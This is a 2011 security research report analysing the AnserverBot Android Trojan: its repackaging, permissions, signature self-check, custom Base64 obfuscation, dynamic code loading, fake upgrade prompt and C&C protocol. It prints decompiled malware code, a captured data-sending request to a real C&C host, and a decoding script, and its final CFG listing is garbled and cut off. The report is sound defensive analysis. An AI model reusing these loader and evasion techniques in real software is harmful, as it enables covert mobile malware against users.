an analysis of the anserverbot trojanwhen the anserverbot malware is repackaged into existing apps,...
TRANSCRIPT
An Analysis of the AnserverBot Trojan
Yajin Zhou, Xuxian Jiang
September 25, 2011
1 Introduction
On September 19, 2011, NetQin Security Research Center identified an Android Trojan namedAnserverBot, which is so far considered as one of the most sophisticated Android malware. Thisparticular malware piggybacks on legitimate apps and is currently being distributed through pop-ular third-party Android markets in China. The Trojan is noteworthy in a number of aspects.For example, it employs several sophisticated techniques to evade detection and analysis, includingPlankton [5]-like dynamic code loading, Java reflection-based method invocation, aggressive codeobfuscation and data encryption, self-verification of signatures, as well as runtime detection andremoval of installed mobile security software. Moreover, the Trojan program has built-in bot func-tionality that will actively fetch commands from public (encrypted) blog posts! The combinationof these techniques significantly raises the bar for reverse engineering analysis. In fact, it is the firsttime in the Android malware history that these techniques have been “effectively” integrated intoone real-world instance.1
In this document, we outline various aspects of AnserverBot Trojan, such as how it gets started,what encryption methods are employed, how the dynamic payload is upgraded and loaded, andwhat protocol is used by AnserverBot to communicate with remote C&C servers. The detailedanalysis in this document is based on a specific sample (with package name com.test). The SHA1
values of this sample and the associated payloads are shown as follows.
Sample : 002f537027830303e2205dd0a6106cb1b79fa704
Payload A : 34dac9fd5938389a94ea2a3450f1bcea6a7710b1
Payload B : ade014d299e691dcedf764822d4b52c9eb4605a2
Figure 1: The SHA1 values of the sample and its two payloads (used in our analysis)
2 How It Works
As a Trojan program, AnserverBot piggybacks on legitimate apps. At the high level, it repackagesinto the host app with two hidden apps (under the assets/ directory) with names anservera.dband anserverb.db. For simplicity, we call anservera.db and anserverb.db as payload A and pay-load B, respectively. These two apps have the same package name com.sec.android.touchScreen.server
1Our earlier evolution analysis of the DroidKungFu malware family [1] reveals the ongoing trend in upcoming An-droid malware with increased sophistication and virulence. This trend is no doubt confirmed again by the emergenceof AnserverBot.
1
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
Host App
(com.test)
Payload B (com.sec.android.touchScreen.server)
(com.sec.android.touchScreen.server)
Payload A
Background Fetching
& Loading
Background Fetching
& Loading
Fake Upgrade(through Payload B)
2
Figure 2: A high-level overview of three related apps in AnserverBot: Host App, Payload A, andPayload B
but with different functionality. Specifically, when the host app runs, it will pop up a fake upgradewindow to lure user to install payload A.2 The payload A is essentially a bot program that runssilently in the background without showing any icon in the home screen after the installation. Atruntime, both host app and payload A can dynamically load and execute code in payload B throughthe built-in Dalvik class loading capability in Android [5] without actually installing it. The heavyuse of Java reflection mechanism and the intended obfuscation of method names greatly impede theefforts to reverse engineering the malware. Also, the repackaged host app and payload A can phone
home to download and upgrade the payload B while the payload B itself can independently talk toC&C servers to fetch and execute subsequent commands. Our analysis shows that the additionalcode repackaged into the host app duplicates the functionality in payload A, which presumablyincreases the “robustness” of the malware as it can continue to run even after the host app isremoved from the phone. Accordingly, unless otherwise specified, our description of host app isalso applicable to payload A. Figure 2 shows the high-level relationship of these three apps.
2.1 Requesting additional permissions
When the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android game app. In Figures 3 and 4, we show thepermissions requested by the original (clean) app and the repackaged (infected) app, respectively.Clearly, the repackaged version requests many more permissions, including dangerous ones such asSEND SMS, RECEIVE SMS, CALL PHONE, RESTART PACKAGE and READ LOGS.
<uses-permission android:name="android.permission.INTERNET" />
Figure 3: The permissions requested by the original app
Besides requesting for more permissions, the malware also adds additional components in theinfected host app. For example, one added receiver listens to various system-wide events and upon
2This seemingly straightforward process is actually quite involved due to the obfuscated way taken by the malware.Specifically, it chooses to invoke one method (via Java reflection) in payload B, which then indirectly launches theactivity to install payload A.
2
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.RESTART_PACKAGES" />
<uses-permission android:name="android.permission.WRITE_APN_SETTINGS" />
<uses-permission android:name="android.permission.READ_LOGS" />
Figure 4: The permissions requested by the repackaged app
<receiver android:name="com.android.view.custom.BaseABroadcastReceiver">
<intent-filter android:priority="2147483647">
<action android:name="android.net.wifi.PICK_WIFI_WORK" />
<action android:name="android.net.conn.MEDIA_NOFS" />
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
<action android:name="android.intent.action.ACTION_POWER_CONNECTED" />
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="android.intent.action.UMS_CONNECTED" />
<action android:name="android.intent.action.UMS_DISCONNECTED" />
</intent-filter>
</receiver>
Figure 5: A new receiver added into the original app
these events occur, it will automatically invoke the embedded payload in the host app. In Figure5, we show this particular receiver and its associated system-wide events in the repackaged app.
Based on the original app, the infected one adds two new modules: com.android.view.customand com.sec.android.providers.drm. com.android.view.custom contains the bridge routinesto access payload B (via Java reflection – Section 2.4). The module com.sec.android.providers.drmis essentially a bot client that connects to remote command and control (C&C) servers to downloadand upgrade payload B (Section 2.7). In addition, the infected one has two files anservera.db
and anserverb.db under the assets/ directory. From their .db suffixes, they are disguised asdatabase files. The truth is they are two Android apps: anservera.db will be installed once thehost app runs and anserverb.db will be dynamically loaded to run without installation.
2.2 Self-verifying the app signature
Despite the fact that AnserverBot repackages legitimate apps for distribution, the malware itselfactively detects whether the repackaged app has been tampered with or not. More specifically,when it runs, AnserverBot will check the current signature of the host app. Note that if the hostapp has been re-packaged and re-signed, the associated signature will be changed. As a result, bychecking the signature, the malware can detect whether it has been repackaged or not. If yes, itwill then exit and refuse to continue execution. We believe this mechanism is in place to protectthe infected host app (or rather the malware itself) from being tampered with or analyzed. Figure6 shows the related code snippet for signature verification.
3
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
[com/android/view/custom/BaseABroadcastReceiver]
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
.locals 2
const/4 v1, 0x0
//check the signature
invoke-static p1, Lcom/sec/android/providers/drm/Union;->a(Landroid/content/Context;)Z
move-result v0
//if the signature has been changed, then return
if-eqz v0, :cond_1
:cond_0
:goto_0
return-void
:cond_1
//if the signature has NOT been changed, then run as normal
...
.end method
[com/sec/android/providers/drm/Union]
.method public static a(Landroid/content/Context;)Z
const/4 v2, 0x0
...
//the string of the anticipated signature
const-string v0, "3082019f30820108a00302010202044e1ecf7f300d06092a864886f70d01010505
0030133111300f060355040613086b656a69303030333020170d31313037313431
31313430375a180f32313232303631373131313430375a30133111300f06035504
0613086b656a693030303330819f300d06092a864886f70d010101050003818d00
30818902818100a06dca7a7f9b974cc03c7b8e6f528b6d5c2908916c4f6be2f248
ceebd63862ca6230e8a15d3239f8b54634cf3ab4240d8a553c6ee9a207f1531526
270f1c8e1ec9da8611c5268f1b7039f703c13ff5b057ce981825c87726c3246aa4
e10804aa418ac12d6b9884d74e2115d1f2448bf3fefa14768ecc6a8b2c83d03942
cd0a210203010001300d06092a864886f70d0101050500038181006159f326c78e
8396019dac1aed37faf6419fb518b45935a56eafe612ba3d61ec0a1c067b3838e5
f3d39931519daae990aaf1df217e316a6807423092be3aa9f29d200f9f8a16ec8d
a3b9033a2fa9ef21d861665e5695890508c08a4ad169ddfdd225b6a6d19e563925
774392534009b59360c34d0d8e472824203fb374c2aaef"
//get the string of current signature of the app
invoke-static p0, Lcom/sec/android/providers/drm/Union;->b(Landroid/content/Context;)Ljava/lang/String;
move-result-object v1
//equal?
invoke-virtual v0, v1, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v0
...
.end method
[com/sec/android/providers/drm/Union]
.method public static b(Landroid/content/Context;)Ljava/lang/String;
.locals 3
:try_start_0
//get the packageManager
invoke-virtual p0, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
move-result-object v0
invoke-virtual p0, Landroid/content/Context;->getPackageName()Ljava/lang/String;
move-result-object v1
const/16 v2, 0x40
//get the PackageInfo
invoke-virtual v0, v1, v2, Landroid/content/pm/PackageManager;->
getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
move-result-object v0
iget-object v0, v0, Landroid/content/pm/PackageInfo;->signatures:[Landroid/content/pm/Signature;
const/4 v1, 0x0
aget-object v0, v0, v1
//get the signature as string
invoke-virtual v0, Landroid/content/pm/Signature;->toCharsString()Ljava/lang/String;
...
.end method
Figure 6: Verifying the host app signature
4
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
2.3 Encoding/encrypting data
To prevent it from being reverse engineered, the malware aggressively encrypts various types ofdata, including the URLs of remote C&C servers, the methods names to be invoked, the file pathof the payloads, and even the content of the payloads. Without decrypting them, it is hard, if notimpossible, to make progress in analyzing it.
Fortunately, we are able to successfully uncover their name obfuscation methods. In essence,it adapts the popular Base64 [2] scheme with a custom index table. Instead of the default string,it chooses to take “STvJjktoVFZ9f0PGlicqy3xK7zH8ruXdn5WwDRIeb1UmEgOhYs2NpLC4QBa6AM+/ ”for its customized Base64 encoding. Accordingly, we wrote a Python-based script (Figure 7) todecode all the encoded strings or method names in AnserverBot.
#!/usr/bin/python
import string
import base64
import sys
s = sys.argv[1]
my_base64chars = "STvJjktoVFZ9f0PGlicqy3xK7zH8ruXdn5WwDRIeb1UmEgOhYs2NpLC4QBa6AM+/_"
std_base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
s = s.translate(string.maketrans(my_base64chars, std_base64chars))
data = base64.b64decode(s)
print data
Figure 7: The Python-based decoding script
2.4 Dynamically loading and executing code
AnserverBot borrows similar mechanisms from Plankton [5] for dynamic code loading and execu-tion. Specifically, by exploiting the Dalvik class loading feature in Android, it retains the capabilityto dynamically extend its own functionality (Section 2.7). When combined with aggressive obfus-cation of method names, the malware makes it challenging for our analysis.
The Dalvik class loading feature or more specifically the DexClassLoader [4] class in Androidcan be used to load classes from .jar and .apk files. After being loaded, the new instances ofthese classes can be created and the corresponding methods in these classes are then available forinvocations. The AnserverBot malware wraps the class DexClassLoader in its own Doctype classunder com.sec.android.providers.drm and provides its own interface to load and execute codein payload B at runtime. In Table 1, we show the related APIs in this class. One particular codesnippet for one such interface is shown in Figure 8.
By using these APIs, the code in com.android.view.custom can call the corresponding meth-ods in payload B and thus acts as the bridge between the host app and the payload B. For instance,the onStart method in receiver com.android.view.custom.BaseABroadcastReceiver of host appcalls the onStart method in the com.sec.android.touchScreen.server.BaseABroadcastReceiverclass of payload B; the onStart method in service com.android.view.custom.FirstAService ofhost app invokes the onStart method in the com.sec.android.touchScreen.server.FirstAServiceclass of payload B.
5
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
Function Name Descriptionpublic static Object a(File paramFile,String paramString1, String paramString2,Object[] paramArrayOfObject)
Load the method “paramString2” in class “paramString1”with arguments in “paramArrayOfObject” with types(Context, Activity, FileDescriptor, String, Integer)
public static Object b(File paramFile,String paramString1, String paramString2,Object[] paramArrayOfObject)
Load the method “paramString2” in class “paramString1”with arguments in “paramArrayOfObject” with types(Context, Intent, BroadcastReceiver, FileDescriptor, String)
public static Object c(File paramFile,String paramString1, String paramString2,Object[] paramArrayOfObject)
Load the method “paramString2” in class “paramString1”with arguments in “paramArrayOfObject” with types(Context, Service, FileDescriptor, String)
Table 1: The interface for dynamic code loading and execution in AnserverBot
[com.sec.android.providers.drm.Doctype]
public static Object b(File paramFile, String paramString1, String paramString2, Object[] paramArrayOfObject)
{String str3;
if (paramFile == null)
{String str1 = a.getFilesDir().getAbsolutePath();
//get the name of the file to be loaded
//9CkOrC32uI327WBD7n__ -> /anserverb.db
String str2 = Xmlns.d("9CkOrC32uI327WBD7n__");
str3 = str1.concat(str2);
}for (File localFile = new File(str3); ; localFile = paramFile)
{String str4 = localFile.getAbsolutePath();
String str5 = a.getFilesDir().getAbsolutePath();
ClassLoader localClassLoader = a.getClassLoader().getParent();
//get the class specified by "paramString1" from anserverb.db
Class localClass = new DexClassLoader(str4, str5, null, localClassLoader).loadClass(paramString1);
Class[] arrayOfClass = new Class[5];
arrayOfClass[0] = Context.class;
arrayOfClass[1] = Intent.class;
arrayOfClass[2] = BroadcastReceiver.class;
arrayOfClass[3] = FileDescriptor.class;
arrayOfClass[4] = String.class;
//get the method specified by "paramString2"
Method localMethod = localClass.getMethod(paramString2, arrayOfClass);
//create new instance of the class
Object localObject = localClass.newInstance();
//call the corresponding method with arguments in array "paramArrayOfObject"
return localMethod.invoke(localObject, paramArrayOfObject);
}}
Figure 8: A function to dynamically load and execute code in Payload B
2.5 Installing the payload A
When being started, AnserverBot will check whether the payload A has already been installed. Ifnot, it will display a fake upgrade dialog (see figure 9) to lure user to “upgrade” the app. If userclicks the button to upgrade, the payload A will be installed on the phone. After installation, thepayload A does not show any icon on the home screen. Instead, it runs silently in the background.The main functionality is somewhat similar to the added new code in the host app. As a result,by installing the payload A, the malware can make sure that even if the host app is removed fromthe phone, it can continue to run on the phone.
6
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
Figure 9: The screenshot (prompting for the need of an “upgrade”) and the requested permissionsfrom the new upgrade (i.e., payload A)
The code for checking the presence of and installing the payload A is actually located in payloadB. Specifically, as explained earlier (Section 2.4), the host app can invoke the methods in payload Band these methods are used to indirectly install the payload A. Note that the normal way of checkingthe presence of a particular app is to obtain the list of installed apps and then traverse this list tofind the app. However, AnserverBot takes a different way: it first obtains the PackageContext
using the package name of payload A as its argument and then retrieves the sharedPreference
from the PackageContext. If the payload A has not been installed, the access to sharedPreference
will trigger an exception. If that is the case, AnserverBot realizes that the payload A has notbeen installed and then attempts to launch an intent to install this payload.
Figure 10: The state machine of installing payload A
The installation process of payload A is not complicated. Specifically, AnserverBot first displaysthe fake upgrade dialog to the user. If the user clicks the button to upgrade, it will save the file pathof payload A into one intent and send this intent to packageinstaller for installation. The code forinstalling payload A is in the function handleMessage of class com.sec.android.providers.drm.Charsetin payload B. It subclasses of android.os.Handler and performs corresponding actions based onthe received message. Figure 10 shows the simplified state machine of message handling in thisfunction to install the payload A. In Figure 11, we also show the actual code snippet in payload Bthat checks the presence of payload A.
7
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
[com.sec.android.providers.drm.Xmlns]
.method public a(Landroid/content/Context;Landroid/app/Activity;Ljava/io/FileDescriptor;
Ljava/lang/String;Ljava/lang/Integer;)V
.locals 5
const/16 v2, 0x400
const/16 v4, 0xa
const/4 v0, 0x0
...
:goto_0
return-void
const-string v1, "user"
const/4 v2, 0x0
//retrieve the value from preferences file with key "user".
//This values means the version number of payload A embedded in host app.
invoke-virtual v0, v1, v2, Lcom/sec/android/providers/drm/Could;->b(Ljava/lang/String;I)I
move-result v0
...
//get Xmlns;->a. Its value is decrypted string "7CMg9e0R72B58Ii28CRD9eihux0byC02zx3O9e0RrezRrn__"
//7CMg9e0R72B58Ii28CRD9eihux0byC02zx3O9e0RrezRrn__ -> com.sec.android.touchScreen.server[Payload A]
iget-object v1, p0, Lcom/sec/android/providers/drm/Xmlns;->a:Ljava/lang/String;
const/4 v2, 0x2
//get the PackageContext of com.sec.android.touchScreen.server[payload A]
invoke-virtual p2, v1, v2, Landroid/app/Activity;->createPackageContext(Ljava/lang/String;I)
Landroid/content/Context;
move-result-object v1
...
const-string v2, "0"
iget v3, p0, Lcom/sec/android/providers/drm/Xmlns;->i:I
//get the shared preference file from payload A.
invoke-virtual v1, v2, v3, Landroid/content/Context;->getSharedPreferences
(Ljava/lang/String;I)Landroid/content/SharedPreferences;
move-result-object v1
const-string v2, "user"
const/4 v3, 0x0
//retrieve the value from shared preference file with key "user"
//This values means the version number of (installed) payload A
invoke-interface v1, v2, v3, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
move-result v1
if-nez v1, :cond_2
const/16 v0, 0xa
invoke-direct p0, v0, Lcom/sec/android/providers/drm/Xmlns;->a(I)V
:try_end_0
.catch Ljava/lang/Exception; :try_start_0 .. :try_end_0 :catch_0
goto :goto_0
:catch_0
move-exception v0
//raised exception means shared preferences file can not be found. -> Payload A has not been installed.
//then install payload A by calling Xmlns;->a(10)
invoke-direct p0, v4, Lcom/sec/android/providers/drm/Xmlns;->a(I)V
goto :goto_0
:cond_2
//if payload A has been installed, then exist.
if-ge v1, v0, :cond_0
const/16 v0, 0xa
:try_start_1
//if we have new version of payload A, instlal the new version of payload A.
invoke-direct p0, v0, Lcom/sec/android/providers/drm/Xmlns;->a(I)V
:try_end_1
.catch Ljava/lang/Exception; :try_start_1 .. :try_end_1 :catch_0
goto :goto_0
.end method
Figure 11: Checking the presence of payload A
8
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
2.6 Connecting to remote C&C servers (e.g., “phoning homes”)
In Section 2.1, we mentioned that the malware will add a new receiver BaseABroadcastReceiver,which will be invoked when a number of system-wide events occur. Starting from the receiver,the malware will eventually launch the execution of the com.sec.android.providers.drm.Onion
class in the host app, which implements the “phone home” behavior.
In the sample we analyzed, the addresses of remote C&C servers are initially hard-coded butencrypted. At runtime, these addresses will then be updated when interacting with remote C&Cservers. For example, the current C&C server can push down new C&C server information. Thisseems to be one of the most common ways for bot programs to update their C&C servers. Also,the information about new C&C servers is being published on a public web blog (as encryptedpostings). The employed encoding scheme seems the same as described in Section 2.3. This israther interesting as it is the first one in Android malware history that public blogs are being usedas C&C servers to deliver commands to bot clients. In Figure 12, we show the content of one postin the public blog website, which is used for updating C&C servers.
Figure 12: An encoded posting in the public blog (to update C&C servers)
By default, the infected host app will connect back to the remote C&C server with collectedinformation every two hours. If the connection to the C&C server is not successful and the number ofunsuccessful attempts exceeds a threshold (i.e., 7 in our sample), the malware will start connectingto the public blog for the updated C&C server and then use this new C&C server thereafter. If theconnection to the C&C server is successful, it will download the commands in a plain-text XMLfile and save the values in the file to local shared preference for future use. Figure 13 shows thecaptured network traffic between the host app and the remote C&C server.
In the class com.sec.android.providers.drm.Onion, there is a d() method that implementsthe functionality to connect back to the remote C&C server and parse the retrieved commands (inan XML file). In Table 2, we briefly show the meaning of each row in the downloaded XML file andthe corresponding key in the local shared preference. It is clear from the table that the key namesin the local shared preference are also obfuscated, making it intentionally harder to understand.
To better understand this method, we draw its CFG in Figure 14. (This figure may not bereadable in a printed hard copy but can be zoomed in to navigate through the CFG with the AcrobatReader.) The blocks in the CFG with colors RoyalBlue, Magenta, ForestGreen, ProcessBlue, andOrchid are used to parse the XML file. And the blocks with the Orange color are used to updatethe remote C&C server.
2.7 Upgrading the payload B
The malware can dynamically upgrade the payload B when a new version is available. Specifically,if there is a new version, the C&C server will record the latest version number (“doctitle” in shared
9
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
POST /jk.action?a=310260000000000&a1=fNjYfw7YfJSYfJSYfJSY&c=4&c1=0S__
&d=2.2.1&d1=fWQ29wj_&e=unknown&e1=uxBm8IM48n__&f=generic&f1=zC3OzKF17Y__&g=8&g1=
PS__&h=000000000000000&h1=fJSYfJSYfJSYfJSYfJSY&i=8&i1=PS__&j=1316531906173&j1=
fqfs0wyNfqDY0wj4fY__&k=33&k1=fNf_&l=0&l1=fS__&m=0&m1=fS__&n=3&n1=fY__&p=
com.test&p1=7CMg9eiRr4l_&key=fqfs0wyNfqDY0NfBPl__ HTTP/1.1
User-Agent: Dalvik/1.2.0 (Linux; U; Android 2.2.1; generic Build/MASTER)
Host: b4.cookier.co.cc:8080
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 20 Sep 2011 15:18:13 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Content-Language: utf-8
Content-Length: 616
Keep-Alive: timeout=12, max=2000
Connection: Keep-Alive
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8" ?>
<server>
.<t>
..<rows>
...<row value="8008" />
...<row value="86400000" />
...<row value="7CMg9e0R72B58Ii28CRD9eihux0byC02zx3O9e0RrezRrn__" />
...<row value="41" />
...<row value="" />
...<row value="HoiprJbh9CFE8CrOrCRO7cBw8CpO7CQhr2MW8tMeKNnp0JT57wrQfJjYfolY8I7OHoig8S__" />
...<row value="2" />
...<row value="4" />
...<row value="60000" />
...<row value="8" />
...<row value="22" />
...<row value="" />
...<row value="7200000" />
...<row value="" />
...<row value="" />
...<row value="" />
...<row value="" />
..</rows>
.</t>
</server>
Figure 13: The captured network packets between the host app and the remote C&C server
preference – Table 2) and the download URL (“stylesheet” and “href” in shared preference) inthe command XML file. Both addresses in “stylesheet” and “href” can be used to download thepayload B though “stylesheet” has a higher priority than “href”. In fact, only if “stylesheet” isnot null, the download URL in “href” will be used for downloading. Our analysis shows that thepayload B specified in “href” is always compressed. For “stylesheet,” the payload B may or may notbe compressed depending on the download URL. If it ends with “.apk”, then it is not compressed.Otherwise it is compressed.
10
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
Index ValueKey inshared
preferenceDescription
0 <row value=“8008” />
-2 : Stop bot client.-1 : Clear all shared preference0 : Upgrade C&C server.“ ” : Use the default C&C server.Other : Put all the values in XML into correspondingshared preference.
1 <row value=“86400000” /> “link”
The valid time window (in millisecond) to upgradepayload B. After this time window, it will not down-load payload B if not receiving new XML file fromC&C server.
2<row value=“7CMg9e0R72B58Ii28CRD9eihux0byC02zx3O9e0RrezRrn ” />
“warpeace”
The encrypted package name(com.sec.android.touchScreen.server) of payloadB. This package name is used to dynamically load theclasses from payload B.
3 <row value=“41” /> “doctitle” The latest version code of payload B.
4 <row value=“” /> “stylesheet”The first URL of latest payload B. If this URL is null,it will try other URLs.
5
<row value=“HoiprJbh9CFE8CrOrCRO7cBw8CpO7CQhr2MW8tMeKNnp0JT57wrQfJjYfolY8I7OHoig8S ” />
“href”
The second URL (encrypted) of latest payload B(http://blog.sina.com.cn/s/blog 8440ab780100t0nf.html).If the first URL is null, it will use this URL to down-load payload B. The payload specified by this URLis compressed, which must be decompressed afterdownloading.
6 <row value=“2” /> “gb2312”The threshold of failure times of downloading payloadB.
7 <row value=“4” /> “line”The threshold of failure times of downloading payloadB.
8 <row value=“60000” /> “font” Not used.
9 <row value=“8” /> “family”The lower bound time (in hour) to download payloadB. For example, if this value is 8, then the payload Bcan only be downloaded after 8AM.
10 <row value=“22” /> “size”The upper bound time (in hour) to download payloadB. For example, if this value is 22, then the payload Bcan only be downloaded before 10PM.
11 <row value=“” /> “11pt”The URL of data collecting server. This server justreceives data from bot program but does not push anycommand to devices.
12 <row value=“7200000” /> “text”The time period (in millisecond) to connect to C&Cserver. 7200000 means it will connect to C&C serverevery two hours.
13 <row value=“” /> “begintemplate” The new address of C&C server.
14 <row value=“” /> Not used
15 <row value=“” /> Not used
16 <row value=“” /> Not used
Table 2: The decoded XML command file
In the same class com.sec.android.providers.drm.Onion, there exists another method e()
that implements the functionality to fetch and upgrade the payload B. Similarly, we show in Figure15 the corresponding CFG (please zoom in to navigate the graph). It will first compare the current
11
NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan
void d()
r29 := @this
b 4 0 = 1 1
r133 = com.sec.android.providers .drm.Doctype.a(b40)
label0: r115 = "begintemplate"
n0 = nu l l
r163 = (com.sec.android.providers .drm.Doctype) r133
r43 = r163 .c ( r115 , n0)
z11 = com.sec.android.providers .drm.Xmlns.a(r43)
i f z11 == 0 goto label1
r47 = "HoiprJbh9CVp9I0h8Cg1zKVO7CAO7CfaPJSQfvMUH2B574i18CQ_"
label1: r28 = r29
r43 = com.sec.android.providers.drm.Xmlns.d(r47)
r 1 0 0 = r 4 3
r101 = special invoke r28.a(r100)
if r101 != 0 goto label3
label2: re turn
label3: r156 = new com.sec.android.providers .drm.European
r 1 = r 1 5 6
special invoke r156.<ini t>(r101)
r87 = "con ten t"
r157 = new java .u t i l .Date
r 3 1 = r 1 5 7
special invoke r157.<ini t>()
l52 = r31.getTime()
r26 = java.lang.Long.valueOf(l52)
r164 = (com.sec.android.providers .drm.Doctype) r133
r164.a( r87 , r26)
b 2 1 = 0
r77 = r1 . a (b21)
r158 = new java .u t i l .Date
r 3 2 = r 1 5 8
special invoke r158.<ini t>()
r76 = "-2"
z5 = r76 .equa l s ( r77)
i f z5 == 0 goto label9
r165 = (com.sec.android.providers .drm.Doctype) r133 label9: r34 = "-1"
r165.a() z3 = r34 .equa l s ( r77)
b 3 7 = 0
r138 = com.sec.android.providers .drm.Doctype.a(b37)
r67 = "saved"
r112 = "peace"
r138.a( r67 , r112)
label4: goto label2
label5: r30 := @caughtexcept ion
r55 = "begin templa te"
r166 = (com.sec.android.providers .drm.Doctype) r133
r166.a( r55)
r51 = "body"
l48 = 0L
r167 = (com.sec.android.providers .drm.Doctype) r133
l43 = r167.a( r51 , l48)
z4 = com.sec.android.providers.drm.Xmlns.a(l43)
if z4 != 0 goto label2
r159 = new java .u t i l .Date
r 3 3 = r 1 5 9
special invoke r159.<ini t>()
r42 = " topmargin"
b 1 5 = 0
r168 = (com.sec.android.providers .drm.Doctype) r133
i34 = r168.b( r42 , b15)
r127 = " topmargin"
i32 = i 34 + 1
r169 = (com.sec.android.providers .drm.Doctype) r133
r169.a(r127, i32)
r126 = "body"
l44 = r33.getTime()
r23 = java.lang.Long.valueOf(l44)
r170 = (com.sec.android.providers .drm.Doctype) r133
r170.a( r126, r23)
b 1 4 = 7
if i32 < b14 goto label2
label6: r116 = "HoiprJbh9CFE8CrOrCRO7cBw8CpO7CQhr2MW8tMeKNnp0JT57wrQfJjYfoFOXxyOHoig8S__"
r102 = com.sec.android.providers .drm.Xmlns.d(r116)
z 6 = 0
r104 = "utf-8"
r105 = "^[ \W]+v_____:"
r106 = com.sec.android.providers .drm.Xhtml.a(r102, z6, r104, r105)
r88 = "-2"
z2 = r88 .equa l s ( r106)
i f z2 == 0 goto label15
r171 = (com.sec.android.providers .drm.Doctype) r133 label15: r129 = "-1"
r171.a() z10 = r129 .equa l s ( r106)
b 1 3 = 0
r133 = com.sec.android.providers .drm.Doctype.a(b13)
r89 = "saved"
r35 = "peace"
r172 = (com.sec.android.providers .drm.Doctype) r133
r172.a( r89 , r35)
label7: goto label2
label8: r133 := @caughtexcept ion
goto label2
i f z3 == 0 goto label10
r173 = (com.sec.android.providers .drm.Doctype) r133 label10: r50 = "0"
r173.a() z0 = r50 .equa l s ( r77)
b 1 9 = 0
r151 = com.sec.android.providers .drm.Doctype.a(b19)
r151.a()
goto label2
i f z0 == 0 goto label11
b 0 = 1 3 label11: r121 = ""
r110 = r1 . a (b0) z8 = r121 .equa l s ( r77)
r111 = " type"
l41 = r32.getTime()
r21 = java.lang.Long.valueOf(l41)
r174 = (com.sec.android.providers .drm.Doctype) r133
r148 = r174 .a ( r111 , r21)
r120 = "begin templa te"
r148 .a ( r120 , r110)
goto label2
i f z8 == 0 goto label12
r86 = "begin templa te" labe l12: b12 = 1
r175 = (com.sec.android.providers .drm.Doctype) r133 r56 = r1 . a (b12)
r175.a( r86)
goto label2
b 2 = 2
r95 = r1 .a (b2)
b 1 8 = 3
r93 = r1 . a (b18)
b 1 7 = 4
r70 = r1 . a (b17)
b 1 0 = 5
r69 = r1 . a (b10)
b 8 = 6
r66 = r1 .a (b8)
b 4 = 7
r79 = r1 .a (b4)
b 2 8 = 8
r78 = r1 . a (b28)
b 2 6 = 9
r38 = r1 . a (b26)
b 6 = 1 0
r37 = r1 .a (b6)
b 3 5 = 1 1
r 0 = r 1
b 1 1 = b 3 5
r53 = r0 . a (b11)
b 3 3 = 1 2
r 3 = r 1
b 2 5 = b 3 3
r99 = r3 . a (b25)
b 2 4 = 1 3
r 6 = r 1
b 2 2 = b 2 4
r46 = r6 . a (b22)
b 3 0 = 1 4
r 2 = r 1
b 5 = b 3 0
r85 = r2 .a (b5)
b 7 = 1 5
r 5 = r 1
b 1 6 = b 7
r124 = r5 . a (b16)
b 1 = 1 6
r 4 = r 1
b 2 3 = b 1
r103 = r4 . a (b23)
l49 = java. lang.Long.parseLong(r56)
i39 = java. lang.Integer .parseInt(r93)
i9 = java. lang.Integer .parseInt(r66)
i27 = java. lang.Integer .parseInt(r79)
l51 = java. lang.Long.parseLong(r78)
i31 = java. lang.Integer .parseInt(r38)
i29 = java. lang.Integer .parseInt(r37)
l47 = java. lang.Long.parseLong(r99)
r39 = specialinvoke r29.f()
b 3 = 0
r139 = com.sec.android.providers .drm.Doctype.a(b3)
r40 = "warpeace"
r 1 4 0 = r 1 3 9
r 4 1 = r 4 0
r 3 6 = r 9 5
r140.a( r41 , r36)
r73 = "link"
r20 = java.lang.Long.valueOf(l49)
r 1 4 9 = r 1 3 3
r 7 4 = r 7 3
r 2 7 = r 2 0
r176 = (com.sec.android.providers .drm.Doctype) r149
r130 = r176 .a ( r74 , r27)
r61 = "docti t le"
r 1 3 6 = r 1 3 0
r 9 8 = r 6 1
i20 = i39
r153 = r136 .a ( r98 , i20)
r117 = "s ty leshee t"
r152 = r153 .a ( r117 , r70)
r84 = "href"
r134 = r152 .a ( r84 , r69)
r81 = "gb2312"
r143 = r134 .a ( r81 , i9 )
r44 = "l ine"
r142 = r143 .a ( r44 , i27)
r107 = "font"
